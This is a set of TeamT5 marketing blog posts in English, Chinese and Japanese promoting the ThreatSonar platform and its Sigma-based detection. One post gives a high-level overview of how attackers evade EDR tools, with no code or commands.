As hackers’ attack tactics, techniques, and procedures (TTPs) evolve rapidly, enterprise's cybersecurity teams need a more up-to-date security defense platform that can identify the latest threats and hunt threats that attempt to bypass detection. However, to quickly and effectively defend against new types of attacks, it is not enough to rely solely on the rule-based threat detection technology used by most EDRs.

##How can we identify the latest threats in a timely manner? 
There are many known threat alarms, but the latest threats are sneaking in quietly. How can we identify them quickly and effectively?
General EDR detects the threats based on known indicators of compromise (IoC). IoCs may include information about the attack, such as malware type, C2 IPs, malware signatures, and other technical information that can help security teams determine whether an attack has occurred. At the same time, YARA rules are created per the file or memory attributes to track malicious programs.

However, for security personnel, thousands of abnormal incident alerts are received every day through EDR detection, and it is still a big challenge to effectively identify the real high-risk incidents. At the same time, if you want to successfully detect the latest threat techniques, you must frequently update IoCs to defend against zero-day attacks. This will undoubtedly become a daily burden for security personnel who have been immersed in threat identification and analysis for a long time.

##Sigma rule detection makes the latest threats invisible
Similar to Yara rules that use IoCs to help identify and classify malware, Sigma rule detection can be specified by security personnel to compare common threats in logs to enhance incident detection capabilities.

The biggest advantage of Sigma rules is that they adopt a standardized format, which breaks the barriers of different SIEM (Security Information and Event Management) platforms using specific formats or languages. It allows security personnel to write a rule once and then share and apply it through a standard format. In different SIEM solutions, there is no need to rewrite rules, which improves detection efficiency and reduces the burden on security personnel.

A Sigma rule is an open-source standard, which allows network security experts to share and improve them through sharing platforms such as GitHub. On the one hand, it encourages everyone to share knowledge and exchange through a public environment. On the other hand, it can enable novices and experts to contribute their experience and learn from each other, thereby narrowing the gap in cybersecurity skills and alleviating the pressure that corporate organizations generally face a shortage of security personnel and urgently need to improve their professional capabilities.

##Signal Pattern of ThreatSonar grasps threat "signals"
Compatible with Sigma rules, TeamT5 transforms its long-term research and analysis of hacker attack behaviors and the latest threat attack methods into ThreatSonar's latest Signal Pattern detection engine, which uses behavioral rules to instantly detect whether there are suspicious programs on the endpoints.

ThreatSonar's Signal Pattern is researched and created by TeamT5 incident response experts and analysts. It can not only respond to newly revealed threats more quickly, but is also compatible with the open source Sigma rule standard. The Signal engine combines real-time collection of endpoint behavior logs and a new type of detection mechanism. This way, TeamT5's latest incident response experience and intelligence research can be integrated with the ThreatSonar detection engine to quickly respond to new types of threats or attack methods.

##What is a Signal Pattern?
"Signal" (Sigma-based Threat Analytics Local-side Monitoring) echoes the meaning of "Sonar, " part of the name “ThreatSonar”. When using sonar to detect attacks initiated by adversaries, it can track whether there are suspicious “signals” on the endpoints. Even if the signal is weak or seems insignificant, by correlating different suspicious signals, the malicious behavior of hackers can be found in the early stage. Once a high-risk threat is identified by ThreatSonar's Signal Pattern, incident alerts are immediately sent, allowing users to take prompt action on the visualized user interface of ThreatSonar to prevent further attacks.

![](https://uploads.teamt5.org/upload/original/en_pic1_a-new-battle-to-defend-against-hackers.png)

Benefits of Signal Pattern:
- Timely defense: TeamT5’s professional team quickly updates rules to effectively defend against the latest threats and zero-day attacks.
- Supports on-premise scanning: No network restrictions, quick response to attacks.
- Visualization: If the malicious attacks are hunted by rules, the user can grasp the incident trajectory on the Incident Report page.


![](https://uploads.teamt5.org/upload/original/en_pic2_a-new-battle-to-defend-against-hackers.jpg)
<center>On ThreatSonar's incident page, the trajectory of the backdoor implanted by the attacker after the user clicked on link is visually displayed, showing that ThreatSonar successfully detected this behavior through Signal Pattern, allowing administrators to take timely responses.</center>


In summary, with the latest intelligence, significant vulnerabilities, and recent international cyber attacks that TeamT5 has obtained and researched, ThreatSonar's Signal Pattern is updated in a timely manner, allowing enterprises and organizations to immediately defend against hackers that their industry may currently encounter to reduce the risk of being hacked.

 

>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023-2024 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions - https://teamt5.org/en/contact-us/.

A New Battle to Defend Against Hackers: Key Strategies to Strengthen Endpoint Detection!

隨著駭客攻擊戰術、技術和程序（TTP）日新月異，企業組織的資安團隊需要更與時俱進的資安防禦平台，識別出最新的威脅、獵捕企圖繞過檢測的攻擊。然而，要快速且有效達成防禦新型態的威脅攻擊，單單只依靠多數 EDR 所採用的基於規則的威脅偵測技術是不夠的。

##已知威脅告警多、最新威脅潛入卻悄聲，如何快速、有效辨識？
一般的 EDR 基於已知的入侵指標（IoC）進行偵測。IoC 可能包括攻擊的相關資料，例如惡意程式碼類型、中繼站 IP、惡意軟體簽章以及其他技術資料，這些資訊可以協助資安團隊確定是否發生了攻擊。同時藉由 YARA rule 針對檔案或記憶體的特徵，建立規則來追蹤惡意程式。
但對於資安人員來說，藉由 EDR 偵測，每天會收到上千筆異常事件告警，要能從中有效辨識出真正的高風險事件，仍是一大挑戰。同時，若要能成功偵測出最新的威脅手法，就必須時常更新 IoC 以防禦零時差攻擊，這對於長時間埋首於威脅判讀和分析的資安人員來說，無疑成為日常工作的負擔。

##基於 Sigma rule 的偵測分析，讓最新威脅無所遁形
類似於 Yara rule 使用 IoC 來幫助識別和分類惡意軟體，Sigma rule 則是透過資安人員指定的標準來比對記錄檔中常見的威脅，強化事件偵測能力。
Sigma rule 最大的好處在於其採用標準化格式，打破了不同 SIEM（Security Information and Event Management）平台各自使用特定格式或語言的藩籬，讓資安人員可以在編寫一次規則後，透過標準格式分享並應用在不同的 SIEM 解決方案，不需要再重新編寫規則，提高檢測效率，減少資安人員的負擔。
Sigma rule 的開源性質，讓網路資安專家可以透過 GitHub 等共享平台共享和改善 Sigma rule，一方面透過公共環境鼓勵大家分享知識與交流，另一方面也可藉著共享模式，讓新手和專家都可以從中貢獻經驗與彼此學習，進而縮小資安技能的落差，也減輕了企業組織普遍面臨資安人員不足、亟需提升專業能力的壓力。

##ThreatSonar Signal Pattern 即時掌握威脅「訊號」
相容於 Sigma rule，TeamT5 將長期研究駭客攻擊的行為分析以及最新的威脅攻擊手法，轉化為 ThreatSonar 最新 Signal Pattern 偵測引擎，以行為規則進行比對，即時偵測端點上是否有可疑的程式行為。

ThreatSonar 的 Signal Pattern 是由 TeamT5 事件應變處理專家與分析師共同撰寫的規則，不僅能更快速的應變新揭露的威脅，同時相容開源的 Sigma rule。TeamT5 所自行開發的 Signal 引擎，透過即時蒐集端點系統行為以及新型態掃描機制來完成。藉此，能將 TeamT5 最新的事件應變處理經驗與情資研究結合到 ThreatSonar 偵測引擎，快速反應新型態的威脅或攻擊方式。

##Signal Pattern 是什麼？
「Signal」（Sigma-based Threat Analytics Local-side Monitoring）呼應 ThreatSonar 中「Sonar」的「聲納」之意，在利用聲納探測敵方所發動的攻擊時，可追蹤端點上是否有可疑的訊號 –「Signal」，即使信號微弱、或看來微不足道，但藉著關聯不同的可疑訊號，可及早找到駭客的惡意行為。一旦經 ThreatSonar 的 Signal Pattern 辨識為高風險威脅，立即發送事件告警，讓使用者在可視化介面上做及時處置，防堵進一步的攻擊行為。

![](https://uploads.teamt5.org/upload/original/tw_pic1_a-new-battle-to-defend-against-hackers.png)

Signal Pattern 帶來的效益：
- **及時防禦**：TeamT5 專業團隊快速新增規則，有效抵禦當前最新威脅和零時差攻擊。
- **支援本地掃描**：不受網路限制，快速應變攻擊。
- **視覺化呈現**：若命中規則，使用者可在 Incident Report 頁面，掌握事件攻擊軌跡。

![](https://uploads.teamt5.org/upload/original/tw_pic2_a-new-battle-to-defend-against-hackers.jpg)
<center>在 ThreatSonar 的事件頁面上，視覺化呈現受駭者點開 lnk 後，被攻擊者植入後門的軌跡，顯示 ThreatSonar 成功透過 Signal Pattern 掃描到此行為，讓管理者可以及時採取應對。</center>

綜上所述，藉由 TeamT5 掌握到的最新情資、重大漏洞、近期國際上發生的網路攻擊事件，及時更新 ThreatSonar 的 Signal Pattern，讓企業組織可即早防禦所屬產業當前可能遭遇的駭客攻擊手法，減少被駭風險。

 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過 20 年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解備受客戶肯定的資安產品與服務。

駭客攻防新戰役：強化端點偵測的關鍵戰略！

Products & Services

In recent years, network attack methods have become more complex, and some have even bypassed traditional EDR defense mechanisms.

For example, the attack technique HookChain does not directly disable the API hook, but instead manipulates the API process to bypass the EDR monitoring function; this technology has an extremely high EDR detection bypass rate, with a demonstrated success rate of 88% [1]. In addition, there are various types of malware that damage EDR [2], as well as attack methods that bypass EDR defenses, such as abusing hardware breakpoints [3] and using low-privilege users [4].

[The previous article](https://teamt5.org/en/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1/?utm_source=blog&utm_medium=website) in this series has analyzed how attackers bypass EDR and invade enterprise systems; this article will further explain how enterprises and organizations can respond, particularly through the use of compromise assessments.

##How to effectively deal with attacks that bypass EDR
To effectively defend against hidden threats that bypass EDR detection, multi-faceted cybersecurity defense solutions must support and reinforce each other.

**1. "EDR" detects abnormal behavior in real time**
- Real-time detection through continuous monitoring
- Wide-range collection of OS events and process operations for further analysis
- Automatically detect and prevent suspicious behavior using rules and machine learning

**2. Active “Threat hunting”**
- Explore potential risks where necessary
- Actively discover known and unknown suspicious behaviors
- Analysts conduct detailed analysis of logs, etc. to identify undetectable threats

**3. "Rapid Forensic" for cybersecurity status check**
- When a cybersecurity incident occurs, detect it through lightweight digital forensic tools
- Sample check of memory and critical file status
- Detect anomalies early and determine whether a full investigation is needed

Therefore, in order to supplement the existing EDR detection and defense coverage, an **intelligence-driven** threat identification platform has become an indispensable solution. By collecting various data (such as logs and memory data) and analyzing the results, organizations can transform these insights into intelligence-driven threat hunting, effectively identifying latent and hidden threats that bypass EDR detection to strengthen the information cybersecurity posture.

At the same time, the threat forensics platform must be capable of collecting and analyzing live system memory data to detect traces of intrusions that traditional EDR solutions might easily overlook. From the perspective of the process from malware intrusion to execution, when the CPU is executing malware deployed in memory, EDR can detect and control suspicious behavior in real time. However, if you can identify and hunt for threats through regular memory scanning, you can prevent malicious code from being extracted into the memory early and block the execution of malicious software in advance.

TeamT5's **intelligence-driven** "[ThreatSonar - Threat Forensic Analysis Platform](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website)" has memory scanning and forensics features. ThreatSonar can quickly detect APT attacks and cyber espionage activities based on the latest threat intelligence, improving cybersecurity protection effectiveness. At the same time, ThreatSonar can quickly and fully obtain critical data from disks and memory, conduct a comprehensive analysis of past and present behaviors, identify indicators of future threats, and quickly check whether there are any suspicious behaviors, allowing the cybersecurity team to effectively handle incidents. In addition, ThreatSonar does not require a cumbersome installation process and has the advantage of lightweight deployment. It can run on Windows, Linux or Mac OS, ensuring that it can be quickly deployed and used in large-scale environments.

##ThreatSonar in Action
Many companies focus on the defense against APT attacks and unknown threats. In addition to installing EDR for timely threat detection, they also conduct regular intrusion assessments. From the previous analysis of [the case of EDR bypass attack method](https://teamt5.org/en/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1/?utm_source=blog&utm_medium=website), we can see that although the enterprise had EDR and anti-virus software installed, the attacker was able to disable EDR monitoring, allowing data to be stolen undetected for up to a year. In view of this, the company used the ThreatSonar threat forensics analysis platform to uncover potential threats and planned to conduct a compromise assessment on 10,000 endpoints within two weeks to quickly identify possible hacking paths and the scope of impact. The company implemented the following detection methods:
- Detect APT attack signatures with Yara rules (including IoC)
- Investigate fake documents impersonating specific organizations, 2,268 Ruby-related malicious files, Rokrat malware variants, API hook bypass

The testing process consists of five stages: "Environment Survey", "Deployment", "Scan & Auto-Analysis", "Research and Analysis", and "Reports":
![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2_pic.png)


This survey shows the benefits of using a threat investigation tool like ThreatSonar:
- Accelerate investigation: In just two weeks, the main hacked devices, the scope of the hack, and the intrusion route can be identified.
- Minimize damage: Prevents the damage caused by information theft from expanding through rapid detection.

##Conclusion
In order to effectively prevent attacks that bypass EDR detection, it is imperative to adopt effective corresponding defense mechanisms. Through the ThreatSonar threat forensics analysis platform, regular threat hunting and memory forensics can be achieved to realize multi-layered cybersecurity defense, while strengthening the ability to proactively discover potential threats in normal times.

[Threat forensic analysis platform "ThreatSonar" ](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website)is a solution developed by TeamT5 that combines threat intelligence analysis results with practical attack and defense experience to help the industry accurately grasp the source and spread of threats, hunt for unknown potential threats, strengthen in-depth defense, protect endpoint security, and avoid possible damage caused by future threats. ThreatSonar features include:
- Intelligence-driven threat forensics
- Lightweight deployment without affecting daily operations
- Offers the whole picture of the incident, shortening the investigation time
- Uncover the malicious programs hidden in the memory
- Threat hunting with visualization of correlating potential compromised endpoints


>Welcome to [contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for a free trial.

 

####Reference
[1] Cyber Security News, https://cybersecuritynews.com/hookchain-edr-evasion-technique/ 
[2] DARKREADING, https://www.darkreading.com/cyberattacks-data-breaches/novel-edr-killing-ghostengine-malware-stealth 
[3] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-detection-hardware-breakpoints/ 
[4] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-as-standard-user/

How Cybercriminals Bypass EDR — And What Your Company Should Do (2)

近年來，網路攻擊手法更顯複雜，有些甚至繞過傳統 EDR 的防禦機制。

例如攻擊手法 HookChain 並不會直接停用 API hook，而是操縱 API 流程，進而繞過 EDR 的監控功能；該技術具有極高的 EDR 檢測繞過率，經測試證實的成功率達 88% [1]。此外，還出現各類破壞 EDR 的惡意軟體 [2]，及濫用硬體斷點 [3] 、使用低權限用戶 [4] 等繞過 EDR 防禦的攻擊手法。

在[本系列先前的文章](https://teamt5.org/tw/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1/?utm_source=blog&utm_medium=website)已分析過攻擊者如何繞過 EDR，入侵企業系統；本篇文章將進一步說明企業與組織如何應對，特別是透過採用入侵評估（compromise assessment）工具。

##該如何有效應對繞過 EDR 的攻擊？
要能有效防禦「繞過 EDR 偵測」的隱藏威脅，必須透過多面向的資安防禦解決方案互相支援補強。

**1. 即時偵測異常行為的「EDR」**
- 透過持續監控，實現即時檢測
- 廣泛收集作業系統事件和進程操作，進一步分析
- 利用規則和機器學習，自動偵測和預防可疑行為

**2. 化被動為主動的「威脅狩獵」**
- 在必要情況下，探索可能的潛在風險
- 主動挖掘已知與未知的可疑行為
- 分析師對日誌等進行詳細分析，以識別無法偵測到的威脅

**3. 快速檢測資安狀況的「威脅快篩」**
- 當資安事件發生，透過輕量化數位鑑識工具檢測
- 記憶體和關鍵文件狀態的樣本檢查
- 及早發現異常，並確定是否需要進行全面調查

因此，為補足現有 EDR 偵測與防禦守備範圍，**情資導向**的威脅鑑識平台成為不可或缺的解決方案。透過收集各種資料（例如日誌和記憶體資訊），並分析結果，轉化為情資導向的威脅狩獵，能夠有效找出繞過 EDR 偵測的潛伏、隱匿威脅，以強化資安態勢。

同時，威脅鑑識平台要能取得且分析正在運行中的系統記憶體資料，識別出傳統 EDR 容易忽略的入侵痕跡。從惡意軟體入侵到執行的過程來看，當 CPU 正執行部署於記憶體中的惡意軟體運作時，EDR 可以即時偵測並控制可疑行為。然而若能透過定期**記憶體掃描鑑識**，獵捕威脅，更可及早防止惡意程式碼被提取到記憶體，先一步防堵惡意軟體執行。

TeamT5 的**情資導向**「ThreatSonar 威脅鑑識分析平台」具備**記憶體掃描鑑識特色**。ThreatSonar 能依最新的威脅情資，快速偵測 APT 攻擊和網路間諜活動，提高安全防護效能。同時 ThreatSonar 能快速、充分獲取磁碟與記憶體的關鍵資料，對過去、現在的行為進行全面分析，辨識未來可能成為威脅的指標，快速檢查是否有任何可疑行為，讓資安團隊能有效處理事件。此外，ThreatSonar 無需繁瑣的安裝過程，且具有輕量部署的優勢，無論在 Windows、Linux 或 Mac OS 平台上均可運行，確保可在大規模環境快速部署使用。

##ThreatSonar 的實務應用
許多企業注重 APT 攻擊和未知威脅的防禦，除了安裝 EDR 做及時威脅偵測外，也同時定期進行入侵評估。從之前分析[繞過 EDR 攻擊方式的案例](https://teamt5.org/tw/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1/?utm_source=blog&utm_medium=website)中可知，企業雖安裝了 EDR 與防毒軟體，但攻擊者卻能停用 EDR 監控，致使資料被竊取長達一年的時間而未被發現。有鑑於此，企業利用 ThreatSonar 威脅鑑識分析平台挖掘潛藏威脅，計畫於兩週內，對 10,000 個端點裝置進行威脅檢測，以利快速辨識可能受駭途徑及影響範圍。該公司採取以下檢測方式：
- 以 Yara 規則（包含 IoC）檢測 APT 攻擊特徵
- 調查冒充特定組織的偽造文件、2,268 個 Ruby 相關惡意檔案、Rokrat 惡意軟體變種、API hook 繞過處理

透過「環境盤點」、「部署」、「掃描暨自動分析」、「調查與專家分析」、「報告產出」五個階段，進行完整檢測：
![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2_tw_pic.png)

此次調查顯見使用 ThreatSonar 此類威脅調查工具的效益：
- 快速：只需兩週，即可識別主要受駭設備、受駭範圍和入侵路線。
- 有效：藉由快速檢測，防止資訊被竊所造成的損害擴大。

##結語
要能有效防堵繞過 EDR 偵測的攻擊行為，採取有效的對應防禦機制勢在必行。透過 ThreatSonar 威脅鑑識分析平台，可達到定期威脅獵捕和記憶體鑑識，實現多層防禦的資安防禦，同時，加強平時主動發現潛在威脅的能力。

[ThreatSonar 威脅鑑識分析平台](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website)是 TeamT5 將威脅情資分析成果結合實務攻防經驗，落實於此解決方案，協助產業精準掌握威脅來源與擴散途徑，獵捕未知的潛在威脅，強化縱深防禦、保護端點安全，避免日後威脅發生可能帶來的損害。ThreatSonar 特點包含：
- 情資導向的威脅鑑識
- 輕量部署，不影響日常運營
- 提供事件全貌，縮短調查時間
- 發現隱藏在記憶體中的惡意程式
- 透過可視化，關聯潛在受駭端點進行威脅狩獵

>歡迎[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，免費試用。

 

####參考資料
[1] Cyber Security News, https://cybersecuritynews.com/hookchain-edr-evasion-technique/ 
[2] DARKREADING, https://www.darkreading.com/cyberattacks-data-breaches/novel-edr-killing-ghostengine-malware-stealth 
[3] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-detection-hardware-breakpoints/ 
[4] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-as-standard-user/

繞過 EDR 防禦的攻擊手法有哪些？企業該如何應對？(2)

近年、サイバー攻撃の手法はますます複雑化しており、中には従来のEDRによる防御を回避するものも見られます。

たとえば、「HookChain」と呼ばれる攻撃手法は、APIフックを直接無効化するのではなく、APIの処理フローを操作することでEDRの監視機能を回避します。この技術はEDRの検知を非常に高い確率ですり抜けることができ、検証テストでは成功率が88%に達したと報告されています [1]。そのほかにも、EDRを破壊するマルウェア [2] や、ハードウェアブレークポイントの悪用 [3]、低権限ユーザーの利用 [4] など、EDRの防御を回避するさまざまな攻撃手法が登場しています。

[本シリーズの前回の記事](https://teamt5.org/jp/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1/?utm_source=blog&utm_medium=website)では、攻撃者がどのようにEDRを回避して企業システムへ侵入するかについて分析しました。今回の記事では、企業や組織がそれにどのように対応すべきか、特に「コンプロマイズ・アセスメント（compromise assessment）」ツールを活用する方法について詳しく解説します。

##EDRを回避する攻撃にどう効果的に対応するか？

「EDRの検知を回避する」隠れた脅威を効果的に防御するためには、多角的なセキュリティ対策ソリューションを相互に補完し合う必要があります。

**1. 異常な挙動をリアルタイムで検知する「EDR」** 
- 継続的な監視により、即時の検出を実現
- オペレーティングシステムのイベントやプロセスの操作を広範囲に収集・分析
- ルールや機械学習を活用し、不審な行動を自動で検出・防止

**2. 受動的対応から能動的防御へ：「脅威ハンティング」** 
- 必要に応じて、潜在的なリスクの可能性を探る
- 既知・未知の不審な行動を積極的に発掘
- アナリストがログなどを詳細に分析し、EDRでは検出できない脅威を特定

**3. セキュリティ状況を迅速に把握する「脅威スクリーニング」** 
- セキュリティインシデント発生時に、軽量なデジタルフォレンジックツールで迅速にチェック
- メモリや重要ファイルの状態をサンプル検査
- 異常を早期に発見し、全面的な調査の必要性を判断


そのため、既存のEDRによる検知・防御の範囲を補完するために、**脅威インテリジェンス主導**の脅威分析プラットフォームは不可欠なソリューションとなっています。ログやメモリ情報など、さまざまなデータを収集・分析し、それを脅威インテリジェンスに変換して脅威ハンティングに活用することで、EDRの検知を回避する潜伏・隠れた脅威を効果的に発見し、セキュリティ体制を強化することが可能になります。

同時に、脅威分析プラットフォームには、実行中のシステムメモリデータを取得・分析し、従来のEDRが見逃しやすい侵害の痕跡を特定できる能力が求められます。マルウェアの侵入から実行までのプロセスにおいて、CPUがメモリ上に展開されたマルウェアを実行している際には、EDRは不審な動作を即時に検出・制御できます。しかし、定期的なメモリスキャンとフォレンジックを行うことで、マルウェアがメモリに読み込まれる前に脅威を捕捉し、より早い段階で実行を防ぐことが可能になります。

TeamT5が提供する**脅威インテリジェンス主導**の「ThreatSonar 脅威分析プラットフォーム」は、**メモリスキャンとフォレンジック**を備えた特長があります。ThreatSonarは最新の脅威インテリジェンスに基づき、APT攻撃やサイバースパイ活動を迅速に検出し、セキュリティの有効性を高めます。また、ディスクやメモリ上の重要データを高速かつ完全に取得し、過去と現在の挙動を総合的に分析することで、将来の脅威の兆候を特定し、不審な活動の有無を即時に確認できます。さらに、ThreatSonarは煩雑なインストール作業が不要で、軽量かつ迅速な導入が可能であり、Windows、Linux、Mac OS いずれの環境でも動作し、大規模な環境への迅速な展開を実現します。

##ThreatSonar の実務活用
多くの企業は、APTや未知の脅威に対する防御を重視しており、EDRによるリアルタイムな脅威検知に加えて、定期的にコンプロマイズ・アセスメント（侵害評価）も実施しています。過去に分析された[EDR回避攻撃の事例](https://teamt5.org/jp/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1/?utm_source=blog&utm_medium=website)からも明らかなように、企業がEDRやアンチウイルスソフトを導入していても、攻撃者がEDRの監視機能を無効化し、1年もの間、機密データが盗まれていたケースが確認されています。このような状況を受けて、企業は ThreatSonar 脅威鑑識分析プラットフォーム を活用し、潜在する脅威を洗い出すために、2週間以内に10,000台のエンドポイントデバイスを対象とした脅威スキャン を実施し、侵害の経路や影響範囲を迅速に特定しようとしています。

この企業では、以下の検出手法を採用しています：
- Yaraルール（IoCを含む） によるAPT攻撃の特徴検出
- 特定の組織になりすました偽装文書の調査、2,268件のRuby関連マルウェアファイル のスキャン、Rokratマルウェアの亜種 および API hook回避手法の分析

 

「環境の棚卸し」、「展開」、「スキャンおよび自動分析」、「調査と専門家による解析」、「レポート作成」の5つのステップを通じて、包括的な脅威検出を実施します：

![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2_jp_01.jpg)

ThreatSonarのような脅威調査ツールを使用するメリットは以下です：
- **迅速さ**：わずか2週間で、主要な被害端末、被害範囲、および侵入経路を特定可能
- **有効性**：迅速な検出により、情報漏洩による被害の拡大を防止


##まとめ

EDRの検知を回避する攻撃を効果的に防ぐためには、有効な防御メカニズムを導入することが不可欠です。ThreatSonar 脅威鑑識分析プラットフォーム を活用することで、定期的な脅威ハンティングやメモリフォレンジックを実現し、多層的なセキュリティ防御を構築すると同時に、日常的に潜在的な脅威を能動的に発見する能力を強化できます。

[ThreatSonar](https://teamt5.org/jp/products/threatsonar/?utm_source=blog&utm_medium=website)は、TeamT5が脅威インテリジェンスの分析成果と実務における攻防経験を融合させて開発したソリューションであり、産業界が脅威の発生源や拡散経路を的確に把握し、未知の潜在的脅威を捕捉することを支援します。これにより、ディフェンスインデプス（縦深防御）を強化し、エンドポイントの安全を守り、将来的な脅威による被害発生を未然に防ぎます。

ThreatSonarの特徴は以下の通りです：
- インテリジェンス主導の脅威鑑識
- 軽量な導入で日常運用に影響を与えない
- インシデントの全体像を提供し、調査時間を短縮
- メモリ内に潜むマルウェアを検出
- 可視化機能により、潜在的に侵害された端末を関連付けて脅威ハンティングを支援

>お気軽に[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)ください。無料トライアルもご利用いただけます。

####参考文献
[1] Cyber Security News, https://cybersecuritynews.com/hookchain-edr-evasion-technique/ 
[2] DARKREADING, https://www.darkreading.com/cyberattacks-data-breaches/novel-edr-killing-ghostengine-malware-stealth 
[3] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-detection-hardware-breakpoints/ 
[4] Cyber Security News, https://cybersecuritynews.com/bypassing-edr-as-standard-user/

EDRを回避する攻撃手法にはどのようなものがあるのか？企業はどのように対策すべきか？(2)

In recent years, cyber attack methods have become more complex, and some have even bypassed traditional EDR defense mechanisms.

For example, the attack technique HookChain does not directly disable the API hook, but manipulates the API process, achieving an 88% success rate in circumventing EDR defensive layers, rendering them ineffective against this evasive approach [1]. In addition, there are various types of malware that damage EDR [2], as well as attack methods that bypass EDR defenses, such as exploiting hardware breakpoints [3] and leveraging masquerading and path obfuscation to disguise malicious payloads as legitimate processes [4].

In this series of articles, we will first analyze how attackers bypass EDR and invade enterprise systems; and in [the other article](https://teamt5.org/en/posts/how-cybercriminals-bypass-edr-and-what-your-company-should-do-2/?utm_source=blog&utm_medium=website), we will further explain the countermeasures that enterprises and organizations can take to deal with such attacks.

##Attackers’ methods of bypassing EDR detection

![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1_pic01.png)

<center>Attackers’ methods of bypassing EDR detection</center>

EDR consists of the following elements:
- **Agent**: The software, installed on each endpoint, monitors system operations. It is responsible for receiving telemetry data collected by sensors and sending it to the management server for analysis.
- **Management Console**: Comprehensively analyzes collected data and identifies signs of attacks and incidents.

To detect signs of attack, EDR detection mainly focuses on: application and user behavior (such as the execution of suspicious programs and unusual privilege escalation); abnormal communication between the system and external (Command & control) servers; and analysis of registry changes, script execution, and abnormal behavior in memory.

However, attackers continuously develop new evasion techniques to bypass EDR detection, such as:

**1. Stopping the Agent itself: Forcefully terminate the EDR agent** 
The specific method is to use BYOVD (Bring Your Own Vulnerable Driver), where the attacker implants a vulnerable core driver into the target system to elevate permissions. This allows the attacker to access the core, disable EDR, and then carry out malicious actions.

**2. Stopping the logging function: Disable logging and delay detection** 
Attackers may also disable Event Tracing for Windows (ETW), a mechanism to record Windows system operations, to prevent records of suspicious operations from being left behind. This will prevent EDR from detecting signs of attack and greatly affect EDR's detection capabilities.

Attackers can also interfere with normal EDR operations by:

**3. Disabling EDR monitoring: Remove endpoints from EDR monitoring scope to bypass detection** 
Since APIs are interfaces that allow programs to use functions provided by the operating system and applications, EDRs usually connect to important system APIs to monitor signs of attacks. Attackers can avoid EDR monitoring by disabling API hook techniques, thereby creating an environment where malware can run freely.

**4. Impersonating the call stack of a function: Make malware look like legitimate software** 
Call Stack Spoofing is a malicious technique that spoofs the call stack (i.e. the execution history of a program) to make the attacker's actions appear to be executed from a trusted program. Attackers use this method to make it easier for EDR and cybersecurity products to ignore anomalies and fail to detect the attacker's malicious actions.

In addition, methods to leverage areas outside of EDR monitoring include:

**5. Exploiting areas without EDR monitoring by default and then abusing certain software behaviors not typically monitored by EDR** 
An attacker could also abuse Windows fibers, a lighter-weight program switching mechanism than threads, but some EDRs do not monitor this operation. Attackers can exploit this feature to execute malicious code while avoiding EDR detection.


Finally, attackers may also resort to tactics to disrupt or block EDR server communications, such as:

**6. Block communication with EDR server: prevent the transmission of endpoint detection results and disable monitoring** 
EDRs typically send detection results when communicating with management servers, but attackers can block this communication and isolate the EDR to prevent it from reporting anomalies. This effectively prevents the management from understanding the status of the endpoint and results in a loss of monitoring capability, creating an environment in which attackers can operate more freely.


By using these methods—individually or in combination—attackers can bypass EDR detection and remain hidden for extended periods, giving them time to carry out malicious activities. The consequences can be severe, including data breaches, theft of trade secrets, ransomware-related disruptions, and damage to critical systems. Such incidents can also erode trust among customers and partners. The longer an attack goes undetected, the greater the impact, making response and recovery significantly more difficult for organizations.

##How attackers break into systems

![](https://uploads.teamt5.org/upload/original/how-cybercriminals-bypass-edr-and-what-your-company-should-do-1_pic2.png)

<center>EDR is built on the assumption that breaches are inevitable and is designed to detect advanced attacks in real time that cannot be fully prevented by traditional cybersecurity measures.</center>

From the 7 steps of the [cyber attack chain](https://teamt5.org/en/posts/what-is-cyber-kill-chain/?utm_source=blog&utm_medium=website), you can understand how attackers who bypass EDR detection can penetrate the system and achieve their ultimate goal:

1. **Reconnaissance**: The attacker first investigates information about the target (individual or organization).
2. **Weaponization**: The attacker's preparation of attack tools and malware, as well as the means to use them after a breach.
3. **Delivery**: Delivering the prepared attack tool to the target endpoint.
4. **Exploitation**: Executing dropped malware or other attack files and exploiting vulnerabilities to penetrate the target system.
5. **Installation**: The installation of malicious programs that allow attackers to gain long-term access.
6. **Command & Control**: The attacker remotely controls the hacked endpoint through an external Command & control (C&C) server.
7. **Actions on Objectives**: The attacker's goal is to steal information, disrupt business operations, or deploy ransomware.

Traditional antivirus software and firewalls can respond to attacks from attackers using known malware or specific network routers in the above-mentioned process from "delivery" to "exploitation", while EDR can prevent attacks from happening through real-time monitoring, analysis and behavioral detection. However, attackers continue to improve methods to bypass EDR mechanisms, such as: fileless malware, attacks that abuse legitimate tools, credential theft, and lateral movement within internal networks.

